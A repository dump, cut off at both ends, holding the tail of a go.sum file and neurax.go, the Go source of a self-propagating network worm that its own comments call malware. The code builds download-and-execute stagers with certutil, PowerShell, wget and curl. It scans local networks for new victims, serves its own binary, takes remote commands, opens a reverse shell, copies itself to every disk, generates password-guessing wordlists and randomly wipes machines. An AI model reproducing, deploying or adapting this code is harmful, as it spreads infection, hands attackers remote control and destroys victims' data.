h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 61 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 62 | golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 63 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 64 | golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= 65 | golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 66 | -------------------------------------------------------------------------------- /neurax.go: -------------------------------------------------------------------------------- 1 | package neurax 2 | 3 | import ( 4 | "bufio" 5 | "bytes" 6 | "context" 7 | "fmt" 8 | "net" 9 | "net/http" 10 | "net/url" 11 | "os" 12 | "os/signal" 13 | "path/filepath" 14 | "runtime" 15 | "strconv" 16 | "strings" 17 | "time" 18 | "unicode/utf8" 19 | 20 | ps "github.com/anvie/port-scanner" 21 | "github.com/google/gopacket" 22 | "github.com/google/gopacket/layers" 23 | "github.com/google/gopacket/pcap" 24 | "github.com/mostlygeek/arp" 25 | cf "github.com/redcode-labs/Coldfire" 26 | "github.com/valyala/fasthttp" 27 | "github.com/yelinaung/go-haikunator" 28 | "github.com/zbiljic/go-filelock" 29 | ) 30 | 31 | const ( 32 | tearDownServer = time.Millisecond * 500 33 | listenerTick = time.Millisecond * 10 34 | ) 35 | 36 | var InfectedHosts []string 37 | var ReceivedCommands []string 38 | 39 | var spec = []string{"!", "!@", "!@#", "!@#$", "!@#$%"} 40 | 41 | var LangExecutors = map[string]string{ 42 | "python_os": `import os; os.system("COMMAND")`, 43 | "python_subprocess": `import subprocess; subprocess.call("COMMAND", shell=True)`, 44 | "javascript": `var shl = WScript.CreateObject("WScript.Shell"); shl.Run("COMMAND");`, 45 | "php": `exec("COMMAND")`, 46 | "ruby": "`COMMAND`", 47 | "perl": `system("COMMAND");`, 48 | "lua": `os.execute("COMMAND")`, 49 | "mysql": `\! COMMAND`, 50 | "redis": `eval "os.execute('COMMAND')"`, 51 | } 52 | 53 | type ( 54 | // Config has all features of neurax malware that can be configured 55 | Config struct { 56 | Stager string 57 | StagerSudo bool 58 | StagerBg bool 59 | StagerRetry int 60 | StagerRemovalDelay bool 61 | Port int 62 | CommPort int 63 | CommProto string 64 | LocalIp string 65 | Path string 66 | FileName string 67 | Platform string 68 | Cidr string 69 | ScanPassive bool 70 | ScanActive bool 71 | ScanActiveTimeout int 72 | ScanPassiveTimeout int 73 | ScanPassiveIface string 74 | ScanPassiveAll bool 75 | ScanPassiveNoArp bool 76 | ScanFast bool 77 | ScanShaker bool 78 | ScanShakerPorts []int 79 | ScanFirst []string 80 | ScanArpCache bool 81 | ScanActiveThreads int 82 | ScanFullRange bool 83 | ScanGatewayFirst bool 84 | ScanFirstOnly bool 85 | Base64 bool 86 | ScanRequiredPort int 87 | Verbose bool 88 | Remove bool 89 | ScanInterval string 90 | ScanHostInterval string 91 | ReverseListener string 92 | ReverseProto string 93 | PreventReexec bool 94 | ExfilAddr string 95 | WordlistExpand bool 96 | WordlistMutators []string 97 | WordlistPermuteNum int 98 | WordlistPermuteSeparator string 99 | WordlistShuffle bool 100 | AllocNum int 101 | Blacklist []string 102 | FastHTTP bool 103 | Debug bool 104 | NoInfectCheck bool 105 | } 106 | // nrx keeps a self copping and nrx malware capabilities 107 | Nrx struct { 108 | cfg Config 109 | } 110 | ) 111 | 112 | // Default is a default configuration for neurax malware 113 | var Default = Config{ 114 | Stager: "random", 115 | StagerSudo: false, 116 | StagerBg: false, 117 | StagerRetry: 0, 118 | StagerRemovalDelay: true, 119 | Port: 6741, //coldfire.RandomInt(2222, 9999), 120 | CommPort: 7777, 121 | CommProto: "udp", 122 | ScanRequiredPort: 0, 123 | LocalIp: cf.GetLocalIp(), 124 | Path: ".", 125 | FileName: "random", 126 | Platform: runtime.GOOS, 127 | Cidr: cf.GetLocalIp() + "/24", 128 | ScanPassive: false, 129 | ScanActive: true, 130 | ScanActiveTimeout: 2, 131 | ScanPassiveTimeout: 50, 132 | ScanPassiveIface: "default", 133 | ScanPassiveAll: false, 134 | ScanPassiveNoArp: false, 135 | ScanFast: false, 136 | ScanShaker: false, 137 | ScanShakerPorts: []int{21, 80}, 138 | ScanFirst: []string{}, 139 | ScanArpCache: false, 140 | ScanActiveThreads: 10, 141 | ScanFullRange: false, 142 | ScanGatewayFirst: false, 143 | ScanFirstOnly: false, 144 | Base64: false, 145 | Verbose: false, 146 | Remove: false, 147 | ScanInterval: "2m", 148 | ScanHostInterval: "none", 149 | ReverseListener: "none", 150 | ReverseProto: "udp", 151 | PreventReexec: true, 152 | ExfilAddr: "none", 153 | WordlistExpand: false, 154 | WordlistMutators: []string{"single_upper", "encapsule"}, 155 | WordlistPermuteNum: 2, 156 | WordlistPermuteSeparator: "-", 157 | WordlistShuffle: false, 158 | AllocNum: 5, 159 | Blacklist: []string{}, 160 | FastHTTP: false, 161 | Debug: false, 162 | NoInfectCheck: true, 163 | } 164 | 165 | // New creates pointer to instance of Rat 166 | func New(cfg Config) *Nrx { 167 | return &Nrx{cfg} 168 | } 169 | 170 | // ReportError reports error in verbose way 171 | func (nrx *Nrx) ReportError(message string, e error) { 172 | if e != nil && nrx.cfg.Verbose { 173 | fmt.Printf("ERROR %s: %s", message, e.Error()) 174 | if nrx.cfg.Remove { 175 | if err := os.Remove(os.Args[0]); err != nil { 176 | os.Exit(1) 177 | } 178 | } 179 | } 180 | } 181 | 182 | // StagerLang uses specified language 183 | func (nrx *Nrx) StagerLang(name string) string { 184 | return strings.Replace(LangExecutors[name], "COMMAND", nrx.Stager(), -1) 185 | } 186 | 187 | // Stager prepares command stager that downloads and executes current binary 188 | func (nrx *Nrx) Stager() string { 189 | var stagers [][]string 190 | var stager []string 191 | var paths []string 192 | var b64Decoder string 193 | var sudo string 194 | stagerRetry := strconv.Itoa(nrx.cfg.StagerRetry + 1) 195 | windowsStagers := [][]string{ 196 | {"certutil", `for /l %%Neurax in (1 1 RETRY) do certutil.exe -urlcache -split -f URL && B64 BACKGROUND SAVE_PATH\FILENAME && REMOVAL_DELAY del SAVE_PATH/FILENAME`}, 197 | {"powershell", `for /l %%Neurax in (1 1 RETRY) do Invoke-WebRequest URL/FILENAME -O SAVE_PATH\FILENAME && B64 BACKGROUND SAVE_PATH\FILENAME && REMOVAL_DELAY del SAVE_PATH/FILENAME`}, 198 | {"bitsadmin", `for /l %%Neurax in (1 1 RETRY) do bitsadmin /transfer update /priority high URL SAVE_PATH\FILENAME && B64 BACKGROUND SAVE_PATH\FILENAME && REMOVAL_DELAY del SAVE_PATH\FILENAME`}, 199 | } 200 | linuxStagers := [][]string{ 201 | {"wget", `for i in {1..RETRY}; do SUDO wget -O SAVE_PATH/FILENAME URL && SUDO B64 chmod +x SAVE_PATH/FILENAME && SUDO SAVE_PATH/./FILENAME BACKGROUND; done && REMOVAL_DELAY rm SAVE_PATH/FILENAME`}, 202 | {"curl", `for i in {1..RETRY}; do SUDO curl URL/FILENAME > SAVE_PATH/FILENAME && SUDO B64 chmod +x SAVE_PATH/FILENAME && SUDO SAVE_PATH./FILENAME BACKGROUND; done && REMOVAL_DELAY rm SAVE_PATH/FILENAME`}, 203 | {"httrack", `SUDO apt-get install -y httrack && for i in {1..RETRY}; do SUDO httrack URL && export u="URL" && cd ${u#https://} && chmod +x FILENAME && SUDO ./FILENAME BACKGROUND; done && REMOVAL_DELAY rm SAVE_PATH/FILENAME`}, 204 | } 205 | linuxSavePaths := []string{"/tmp", "/lib", "~", 206 | "/etc", "/usr", "/usr/share"} 207 | windowsSavePaths := []string{`%SYSTEMDRIVE%\$recycle.bin\`, `%ALLUSERSAPPDATA%\MicrosoftHelp\`} 208 | var background string 209 | switch nrx.cfg.Platform { 210 | case "windows": 211 | stagers = windowsStagers 212 | paths = windowsSavePaths 213 | if nrx.cfg.Base64 { 214 | b64Decoder = "certutil -decode SAVE_PATH/FILENAME SAVE_PATH/FILENAME;" 215 | } 216 | if nrx.cfg.StagerBg { 217 | background = "start /b" 218 | } 219 | case "linux", "darwin": 220 | stagers = linuxStagers 221 | paths = linuxSavePaths 222 | if nrx.cfg.Base64 { 223 | b64Decoder = "cat SAVE_PATH/FILENAME|base64 -d > SAVE_PATH/FILENAME;" 224 | } 225 | if nrx.cfg.StagerBg { 226 | background = "> /dev/null 2>&1 &" 227 | } 228 | } 229 | if nrx.cfg.Stager == "random" { 230 | stager = cf.RandomSelectStrNested(stagers) 231 | } else { 232 | for s := range stagers { 233 | st := stagers[s] 234 | if st[0] == nrx.cfg.Stager { 235 | stager = st 236 | } 237 | } 238 | } 239 | selectedStagerCommand := stager[1] 240 | if nrx.cfg.Stager == "chain" { 241 | chainedCommands := make([]string, 0, len(stagers)) 242 | for s := range stagers { 243 | st := stagers[s] 244 | chainedCommands = append(chainedCommands, st[1]) 245 | } 246 | separator := ";" 247 | if runtime.GOOS == "windows" { 248 | separator = "&&" 249 | } 250 | selectedStagerCommand = strings.Join(chainedCommands, " "+separator+" ") 251 | } 252 | if nrx.cfg.Path == "random" { 253 | nrx.cfg.Path = cf.RandomSelectStr(paths) 254 | } 255 | if nrx.cfg.Path == "." { 256 | selectedStagerCommand = strings.Replace(selectedStagerCommand, "SAVE_PATH/", "./", -1) 257 | selectedStagerCommand = strings.Replace(selectedStagerCommand, "SAVE_PATH\\", "", -1) 258 | } 259 | if nrx.cfg.FileName == "random" { 260 | nrx.cfg.FileName = cf.RandomString(cf.RandomInt(4, 10)) 261 | } 262 | if nrx.cfg.FileName == "random" && nrx.cfg.Platform == "windows" { 263 | nrx.cfg.FileName += ".exe" 264 | } 265 | if nrx.cfg.StagerSudo { 266 | sudo = "sudo" 267 | } 268 | var removalDelay string 269 | if nrx.cfg.StagerRemovalDelay { 270 | removalDelay = "sleep 5" 271 | } 272 | parsedURL, err := url.Parse(fmt.Sprintf("http://%s:%d/%s", nrx.cfg.LocalIp, nrx.cfg.Port, nrx.cfg.FileName)) 273 | if err != nil { 274 | os.Exit(1) 275 | } 276 | selectedStagerCommand = strings.Replace(selectedStagerCommand, "URL", parsedURL.String(), -1) 277 | selectedStagerCommand = strings.Replace(selectedStagerCommand, "FILENAME", nrx.cfg.FileName, -1) 278 | selectedStagerCommand = strings.Replace(selectedStagerCommand, "SAVE_PATH", nrx.cfg.Path, -1) 279 | selectedStagerCommand = strings.Replace(selectedStagerCommand, "B64", b64Decoder, -1) 280 | selectedStagerCommand = strings.Replace(selectedStagerCommand, "SUDO", sudo, -1) 281 | selectedStagerCommand = strings.Replace(selectedStagerCommand, "RETRY", stagerRetry, -1) 282 | selectedStagerCommand = strings.Replace(selectedStagerCommand, "BACKGROUND", background, -1) 283 | selectedStagerCommand = strings.Replace(selectedStagerCommand, "REMOVAL_DELAY", removalDelay, -1) 284 | nrx.Debug("Created command stager: " + selectedStagerCommand) 285 | return selectedStagerCommand 286 | } 287 | 288 | // Server start server serving binary self as bytes or base64 encoded string 289 | func (nrx *Nrx) Server(cancel context.CancelFunc) { 290 | nflck, err := filelock.New(".nflck") // Mutex to ensure single process instance within a targeted system 291 | if err != nil { 292 | os.Exit(1) 293 | } 294 | defer func() { 295 | if err := nflck.Unlock(); err != nil { 296 | os.Exit(1) 297 | } 298 | }() 299 | data, err := os.ReadFile(os.Args[0]) 300 | if err != nil { 301 | os.Exit(1) 302 | } 303 | if nrx.cfg.Base64 { 304 | data = []byte(cf.B64E(string(data))) 305 | } 306 | 307 | h := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { 308 | http.ServeContent(w, r, nrx.cfg.FileName, time.Now(), bytes.NewReader(data)) 309 | }) 310 | 311 | server := &http.Server{Addr: fmt.Sprintf(":%v", fmt.Sprintf(":%d", nrx.cfg.Port)), Handler: h} 312 | idleCC := make(chan struct{}) 313 | go handleShutdown(server, idleCC) 314 | if err := server.ListenAndServe(); err != http.ErrServerClosed { 315 | os.Exit(1) 316 | } 317 | cancel() 318 | <-idleCC 319 | } 320 | 321 | func handleShutdown(srv *http.Server, idleCC chan struct{}) { 322 | sigint := make(chan os.Signal, 1) 323 | signal.Notify(sigint, os.Interrupt) 324 | <-sigint 325 | 326 | ctx, cancel := context.WithTimeout(context.Background(), tearDownServer) 327 | defer cancel() 328 | if err := srv.Shutdown(ctx); err != nil { 329 | os.Exit(1) 330 | } 331 | close(idleCC) 332 | } 333 | 334 | // IsHostActive validates is port active when at least one port is open 335 | func (nrx *Nrx) IsHostActive(target string) bool { 336 | if cf.Contains(nrx.cfg.Blacklist, target) { 337 | return false 338 | } 339 | if nrx.cfg.ScanShaker { 340 | for _, port := range nrx.cfg.ScanShakerPorts { 341 | timeout := time.Duration(nrx.cfg.ScanActiveTimeout) * time.Second 342 | portStr := strconv.Itoa(port) 343 | _, err := net.DialTimeout("tcp", target+portStr, timeout) 344 | if err == nil { 345 | nrx.Debug("Found active host: " + target) 346 | return true 347 | } 348 | } 349 | } else { 350 | first := 19 351 | last := 200 352 | if nrx.cfg.ScanFullRange { 353 | last = 65535 354 | } 355 | if nrx.cfg.ScanFast { 356 | nrx.cfg.ScanActiveTimeout = 2 357 | nrx.cfg.ScanActiveThreads = 20 358 | first = 21 359 | last = 81 360 | } 361 | pscan := ps.NewPortScanner(target, time.Duration(nrx.cfg.ScanActiveTimeout)*time.Second, nrx.cfg.ScanActiveThreads) 362 | openedPorts := pscan.GetOpenedPort(first, last) 363 | if len(openedPorts) != 0 { 364 | if nrx.cfg.ScanRequiredPort == 0 { 365 | nrx.Debug("Found active host: " + target) 366 | return true 367 | } else { 368 | if cf.PortscanSingle(target, nrx.cfg.ScanRequiredPort) { 369 | nrx.Debug("Found active host: " + target) 370 | return true 371 | } 372 | } 373 | } 374 | } 375 | return false 376 | } 377 | 378 | // IsHostInfected validates if host is infected with Neurax 379 | func (nrx *Nrx) IsHostInfected(target string) bool { 380 | if nrx.cfg.NoInfectCheck { 381 | return false 382 | } 383 | if cf.Contains(nrx.cfg.Blacklist, target) { 384 | return false 385 | } 386 | if cf.Contains(InfectedHosts, target) { 387 | return true 388 | } 389 | targetUrl := fmt.Sprintf("http://%s:%d/", target, nrx.cfg.Port) 390 | if nrx.cfg.FastHTTP { 391 | req := fasthttp.AcquireRequest() // TODO: we are not using this package it in Server, go with one approach, use or do not use external lib 392 | defer fasthttp.ReleaseRequest(req) 393 | req.SetRequestURI(targetUrl) 394 | resp := fasthttp.AcquireResponse() 395 | defer fasthttp.ReleaseResponse(resp) 396 | err := fasthttp.Do(req, resp) 397 | if err != nil { 398 | return false 399 | } 400 | if resp.StatusCode() == fasthttp.StatusOK { 401 | InfectedHosts = append(InfectedHosts, target) 402 | InfectedHosts = cf.RemoveFromSlice(InfectedHosts, nrx.cfg.LocalIp) 403 | nrx.Debug("Found infected host: " + target) 404 | return true 405 | } 406 | } else { 407 | rsp, err := http.Get(targetUrl) 408 | if err != nil { 409 | return false 410 | } 411 | if rsp.StatusCode == 200 { 412 | InfectedHosts = append(InfectedHosts, target) 413 | InfectedHosts = cf.RemoveFromSlice(InfectedHosts, nrx.cfg.LocalIp) 414 | nrx.Debug("Found infected host: " + target) 415 | return true 416 | } 417 | return false 418 | } 419 | return false 420 | } 421 | 422 | func (nrx *Nrx) handleCommand(cmd string) { 423 | if cmd == "purge" { 424 | nrx.PurgeSelf() 425 | } 426 | if nrx.cfg.PreventReexec { 427 | if cf.Contains(ReceivedCommands, cmd) { 428 | return 429 | } 430 | ReceivedCommands = append(ReceivedCommands, cmd) 431 | } 432 | if _, err := cf.CmdOut(cmd); err != nil { 433 | os.Exit(1) 434 | } 435 | } 436 | 437 | // OpenComm opens port and waits form command 438 | func (nrx *Nrx) OpenComm(ctx context.Context) { 439 | l, err := net.Listen(nrx.cfg.CommProto, "0.0.0.0:"+strconv.Itoa(nrx.cfg.CommPort)) 440 | nrx.ReportError("Comm listen error", err) 441 | t := time.NewTicker(listenerTick) 442 | L: 443 | for { 444 | select { 445 | case <-ctx.Done(): 446 | break L 447 | case <-t.C: 448 | conn, err := l.Accept() 449 | if err != nil { 450 | nrx.ReportError("Conn accept error", err) 451 | continue 452 | } 453 | buff := make([]byte, 1024) 454 | l, err := conn.Read(buff) 455 | if err != nil { 456 | nrx.ReportError("Conn read error", err) 457 | continue 458 | } 459 | cmd := string(buff[:l-1]) 460 | nrx.Debug("Received command: " + cmd) 461 | go nrx.handleCommand(cmd) 462 | if err := conn.Close(); err != nil { 463 | nrx.ReportError(" Conn close error", err) 464 | continue 465 | } 466 | } 467 | } 468 | } 469 | 470 | // Reverse launches a reverse shell. Each received command is passed to handleCommand func 471 | func (nrx *Nrx) Reverse(ctx context.Context) { 472 | conn, _ := net.Dial(nrx.cfg.ReverseProto, nrx.cfg.ReverseListener) 473 | t := time.NewTicker(listenerTick) 474 | L: 475 | for { 476 | select { 477 | case <-ctx.Done(): 478 | break L 479 | case <-t.C: 480 | command, err := bufio.NewReader(conn).ReadString('\n') 481 | if err != nil { 482 | os.Exit(1) 483 | } 484 | command = strings.TrimSuffix(command, "\n") 485 | go nrx.handleCommand(command) 486 | } 487 | } 488 | } 489 | 490 | func (nrx *Nrx) scanPassiveSingleIface(f func(string), iface string) { 491 | var snapshotLen int32 = 1024 492 | timeout := time.Duration(nrx.cfg.ScanPassiveTimeout) * time.Second 493 | if nrx.cfg.ScanFast { 494 | timeout = 50 * time.Second 495 | } 496 | handler, err := pcap.OpenLive(iface, snapshotLen, false, timeout) 497 | nrx.ReportError("Cannot open device", err) 498 | if !nrx.cfg.ScanPassiveNoArp { 499 | if err := handler.SetBPFFilter("arp"); err != nil { 500 | nrx.ReportError(" Set BPF filter error", err) 501 | return 502 | } 503 | } 504 | defer handler.Close() 505 | packetSource := gopacket.NewPacketSource(handler, handler.LinkType()) 506 | for packet := range packetSource.Packets() { 507 | ipLayer := packet.Layer(layers.LayerTypeIPv4) 508 | if ipLayer != nil { 509 | ip, _ := ipLayer.(*layers.IPv4) 510 | source := fmt.Sprintf("%s", ip.SrcIP) 511 | destination := fmt.Sprintf("%s", ip.DstIP) 512 | if source != nrx.cfg.LocalIp && !nrx.IsHostInfected(source) && source != "255.255.255.255" { 513 | go f(source) 514 | } 515 | if destination != nrx.cfg.LocalIp && !nrx.IsHostInfected(destination) && destination != "255.255.255.255" { 516 | go f(destination) 517 | } 518 | } 519 | } 520 | } 521 | 522 | func (nrx *Nrx) scanPassive(f func(string)) { 523 | currentIface, _ := cf.Iface() 524 | ifacesToUse := []string{currentIface} 525 | if nrx.cfg.ScanPassiveIface != "default" { 526 | ifacesToUse = []string{nrx.cfg.ScanPassiveIface} 527 | } 528 | devices, err := pcap.FindAllDevs() 529 | deviceNames := make([]string, 0, len(devices)) 530 | for _, dev := range devices { 531 | deviceNames = append(deviceNames, dev.Name) 532 | } 533 | nrx.ReportError("Cannot obtain network interfaces", err) 534 | if nrx.cfg.ScanPassiveAll { 535 | ifacesToUse = append(ifacesToUse, deviceNames...) 536 | } 537 | for _, device := range ifacesToUse { 538 | go nrx.scanPassiveSingleIface(f, device) 539 | } 540 | } 541 | 542 | func targetsLookup(targets []string) []string { 543 | res := make([]string, 0, len(targets)) 544 | for _, target := range targets { 545 | if cf.RegexMatch("ip", target) { 546 | res = append(res, target) 547 | } else { 548 | ipAddr, err := cf.DnsLookup(target) 549 | if err != nil { 550 | return []string{} 551 | } 552 | res = append(res, ipAddr...) 553 | } 554 | } 555 | return res 556 | } 557 | 558 | func (nrx *Nrx) scanActive(f func(string)) { 559 | var targets []string 560 | if nrx.cfg.ScanGatewayFirst { 561 | gateway := cf.GetGatewayIP() 562 | targets = append(targets, gateway) 563 | nrx.Debug("Added gateway to targets pool: " + gateway) 564 | } 565 | if len(nrx.cfg.ScanFirst) != 0 { 566 | targets = append(targets, targetsLookup(nrx.cfg.ScanFirst)...) 567 | } 568 | if nrx.cfg.ScanFirstOnly { 569 | targets = targetsLookup(nrx.cfg.ScanFirst) 570 | } 571 | if nrx.cfg.ScanArpCache { 572 | for ip := range arp.Table() { 573 | if !nrx.IsHostInfected(ip) { 574 | targets = append(targets, ip) 575 | } 576 | } 577 | nrx.Debug(cf.F("Found %d targets in ARP cache", len(arp.Table()))) 578 | } 579 | fullAddrRange, _ := cf.ExpandCidr(nrx.cfg.Cidr) 580 | for _, addr := range fullAddrRange { 581 | if !cf.Contains(nrx.cfg.Blacklist, addr) { 582 | targets = append(targets, addr) 583 | } 584 | } 585 | targets = cf.RemoveFromSlice(targets, nrx.cfg.LocalIp) 586 | for _, target := range targets { 587 | nrx.Debug("Scanning " + target) 588 | if nrx.IsHostActive(target) && !nrx.IsHostInfected(target) { 589 | nrx.Debug("Scanned " + target) 590 | go f(target) 591 | if nrx.cfg.ScanHostInterval != "none" { 592 | time.Sleep(time.Duration(cf.IntervalToSeconds(nrx.cfg.ScanHostInterval)) * time.Second) 593 | } 594 | } 595 | } 596 | } 597 | 598 | func (nrx *Nrx) scanCore(f func(string)) { 599 | if nrx.cfg.ScanPassive { 600 | go nrx.scanPassive(f) 601 | } 602 | if nrx.cfg.ScanActive { 603 | go nrx.scanActive(f) 604 | } 605 | } 606 | 607 | // Scan scans network for new hosts 608 | func (nrx *Nrx) Scan(f func(string)) { 609 | for { 610 | nrx.scanCore(f) 611 | time.Sleep(time.Duration(cf.IntervalToSeconds(nrx.cfg.ScanInterval))) 612 | } 613 | } 614 | 615 | // Debug prints msg if debug is on 616 | func (nrx *Nrx) Debug(msg string) { 617 | if nrx.cfg.Debug { 618 | cf.PrintInfo(msg) 619 | } 620 | } 621 | 622 | // Disks copies current binary to all found disks 623 | func Disks() error { 624 | selectedName := genHaiku() 625 | if runtime.GOOS == "windows" { 626 | selectedName += ".exe" 627 | } 628 | disks, err := cf.Disks() 629 | if err != nil { 630 | return err 631 | } 632 | for _, d := range disks { 633 | err := cf.CopyFile(os.Args[0], d+"/"+selectedName) 634 | if err != nil { 635 | return err 636 | } 637 | } 638 | return nil 639 | } 640 | 641 | // ZIPSelf the binary zips itself and saves under save name in archive 642 | func ZIPSelf() error { 643 | archiveName := os.Args[0] + ".zip" 644 | filesToZip := []string{os.Args[0]} 645 | return cf.MakeZip(archiveName, filesToZip) 646 | } 647 | 648 | func genHaiku() string { 649 | h := haikunator.New(time.Now().UTC().UnixNano()) 650 | return h.Haikunate() 651 | } 652 | 653 | // Purge removes binary from all nodes that can be reached 654 | func (nrx *Nrx) Purge() { 655 | DataSender := cf.SendDataUDP 656 | if nrx.cfg.CommProto == "tcp" { 657 | DataSender = cf.SendDataTCP 658 | } 659 | for _, host := range InfectedHosts { 660 | err := DataSender(host, nrx.cfg.CommPort, "purge") 661 | nrx.ReportError("Cannot perform purge", err) 662 | } 663 | nrx.handleCommand("purge") 664 | } 665 | 666 | // PurgeSelf removes binary from host and quits 667 | func (nrx *Nrx) PurgeSelf() { 668 | if err := os.Remove(os.Args[0]); err != nil { 669 | os.Exit(1) 670 | } 671 | os.Exit(0) 672 | } 673 | 674 | // WordEncapsulate encapsulates word in punctuations marks 675 | func WordEncapsulate(word string) []string { 676 | return []string{ 677 | "!" + word + "!", 678 | "?" + word + "?", 679 | ":" + word + ":", 680 | "@" + word + "@", 681 | "#" + word + "#", 682 | "$" + word + "$", 683 | "%" + word + "%", 684 | "^" + word + "^", 685 | "&" + word + "&", 686 | "*" + word + "*", 687 | "(" + word + ")", 688 | "[" + word + "", 689 | "<" + word + ">", 690 | } 691 | } 692 | 693 | // WordCyrillicReplace replaces cyrillic chars with ascii chars 694 | func WordCyrillicReplace(word string) []string { // TODO: why not use us utf8 encode mapping 695 | var wordlist []string 696 | refs := map[string]string{ 697 | "й": "q", "ц": "w", "у": "e", 698 | "к": "r", "е": "t", "н": "y", 699 | "г": "u", "ш": "i", "щ": "o", 700 | "з": "p", "ф": "a", "ы": "s", 701 | "в": "d", "а": "f", "п": "g", 702 | "р": "h", "о": "j", "л": "k", 703 | "д": "l", "я": "z", "ч": "x", 704 | "с": "c", "м": "v", "и": "b", 705 | "т": "n", "ь": "m"} 706 | 707 | rusWord := word 708 | for k, v := range refs { 709 | rusWord = strings.Replace(rusWord, v, k, -1) 710 | } 711 | wordlist = append(wordlist, rusWord) 712 | return wordlist 713 | } 714 | 715 | // WordSingleUpperTransform transforms word to uppercase letter slice 716 | func WordSingleUpperTransform(word string) []string { 717 | res := make([]string, 0, utf8.RuneCountInString(word)) 718 | for i := range word { 719 | splitted := strings.Fields(word) 720 | splitted[i] = strings.ToUpper(splitted[i]) 721 | res = append(res, strings.Join(splitted, "")) 722 | } 723 | return res 724 | } 725 | 726 | // WordBasicLeet 727 | func WordBasicLeet(word string) []string { 728 | leets := map[string]string{ 729 | "a": "4", "b": "3", "g": "9", "o": "0", "i": "1", 730 | } 731 | for k, v := range leets { 732 | word = strings.Replace(word, k, v, -1) 733 | word = strings.Replace(word, strings.ToUpper(k), v, -1) 734 | } 735 | return []string{word} 736 | } 737 | 738 | // WordFullLeet 739 | func WordFullLeet(word string) []string { 740 | leets := map[string]string{ 741 | "a": "4", "b": "3", "g": "9", "o": "0", 742 | "t": "7", "s": "5", "S": "$", "h": "#", "i": "1", 743 | "u": "v", 744 | } 745 | for k, v := range leets { 746 | word = strings.Replace(word, k, v, -1) 747 | word = strings.Replace(word, strings.ToUpper(k), v, -1) 748 | } 749 | return []string{word} 750 | } 751 | 752 | // WordRevert reverts word to the slice of letters 753 | func WordRevert(word string) []string { 754 | return []string{cf.Revert(word)} 755 | } 756 | 757 | // WordDuplicate duplicates word in to the slice of letters 758 | func WordDuplicate(word string) []string { 759 | return []string{word + word} 760 | } 761 | 762 | // WordCharSwap swaps first and last rune/char in string 763 | func WordCharSwap(word string) []string { 764 | w := []rune(word) 765 | w[0], w[len(w)] = w[len(w)], w[0] 766 | return []string{string(w)} 767 | } 768 | 769 | // WordSpecialCharsAppend appends special chars to the word 770 | func WordSpecialCharsAppend(word string) []string { 771 | res := make([]string, 0, len(spec)) 772 | for _, s := range spec { 773 | res = append(res, word+s) 774 | } 775 | return res 776 | } 777 | 778 | // WordSpecialCharsPrepend prepends special characters to 779 | func WordSpecialCharsPrepend(word string) []string { 780 | res := make([]string, 0, len(spec)) 781 | for _, s := range spec { 782 | res = append(res, s+word) 783 | } 784 | return res 785 | } 786 | 787 | // RussianRoulette deletes all data in the machines 788 | func RussianRoulette() error { 789 | if cf.RandomInt(1, 6) == 6 { 790 | return cf.Wipe() 791 | } 792 | return nil 793 | } 794 | 795 | // Wordlist transformed words from input slice 796 | func (nrx *Nrx) Wordlist(words ...string) []string { 797 | useAll := cf.Contains(nrx.cfg.WordlistMutators, "all") 798 | var wordlist []string 799 | /*for i := 0; i < nrx.cfg.WordlistCommonNum; i++ { 800 | wordlist = append(wordlist, CommonPasswords[i]) 801 | } 802 | if len(nrx.cfg.WordlistCommonCountries) != 0 { 803 | for cn, num := range nrx.cfg.WordlistCommonCountries { 804 | wordlist = append(wordlist, CommonPasswordsCountries[cn][0:num]...) 805 | } 806 | }*/ 807 | for _, word := range words { 808 | firstToUpper := strings.ToUpper(string(word[0])) + word[1:] 809 | lastToUpper := word[:len(word)-1] + strings.ToUpper(string(word[len(word)-1])) 810 | wordlist = append(wordlist, strings.ToUpper(word)) 811 | wordlist = append(wordlist, firstToUpper) 812 | wordlist = append(wordlist, lastToUpper) 813 | wordlist = append(wordlist, firstToUpper+"1") 814 | wordlist = append(wordlist, firstToUpper+"12") 815 | wordlist = append(wordlist, firstToUpper+"123") 816 | wordlist = append(wordlist, word+"1") 817 | wordlist = append(wordlist, word+"12") 818 | wordlist = append(wordlist, word+"123") 819 | if nrx.cfg.WordlistExpand { 820 | if cf.Contains(nrx.cfg.WordlistMutators, "encapsule") || useAll { 821 | wordlist = append(wordlist, WordEncapsulate(word)...) 822 | } 823 | if cf.Contains(nrx.cfg.WordlistMutators, "cyryllic") || useAll { 824 | wordlist = append(wordlist, WordCyrillicReplace(word)...) 825 | } 826 | if cf.Contains(nrx.cfg.WordlistMutators, "single_upper") || useAll { 827 | wordlist = append(wordlist, WordSingleUpperTransform(word)...) 828 | } 829 | if cf.Contains(nrx.cfg.WordlistMutators, "basic_leet") || useAll { 830 | wordlist = append(wordlist, WordBasicLeet(word)...) 831 | } 832 | if cf.Contains(nrx.cfg.WordlistMutators, "full_leet") || useAll { 833 | wordlist = append(wordlist, WordFullLeet(word)...) 834 | } 835 | if cf.Contains(nrx.cfg.WordlistMutators, "revert") || useAll { 836 | wordlist = append(wordlist, WordRevert(word)...) 837 | } 838 | if cf.Contains(nrx.cfg.WordlistMutators, "duplicate") || useAll { 839 | wordlist = append(wordlist, WordDuplicate(word)...) 840 | } 841 | if cf.Contains(nrx.cfg.WordlistMutators, "char_swap") || useAll { 842 | wordlist = append(wordlist, WordCharSwap(word)...) 843 | } 844 | if cf.Contains(nrx.cfg.WordlistMutators, "special_append") || useAll { 845 | wordlist = append(wordlist, WordSpecialCharsAppend(word)...) 846 | } 847 | if cf.Contains(nrx.cfg.WordlistMutators, "special_prepend") || useAll { 848 | wordlist = append(wordlist, WordSpecialCharsPrepend(word)...) 849 | } 850 | } 851 | } 852 | if cf.Contains(nrx.cfg.WordlistMutators, "permute") || useAll { 853 | wordlist = append(wordlist, nrx.WordlistPermute(words...)...) 854 | } 855 | wordlist = cf.RemoveDuplicatesStr(wordlist) 856 | if nrx.cfg.WordlistShuffle 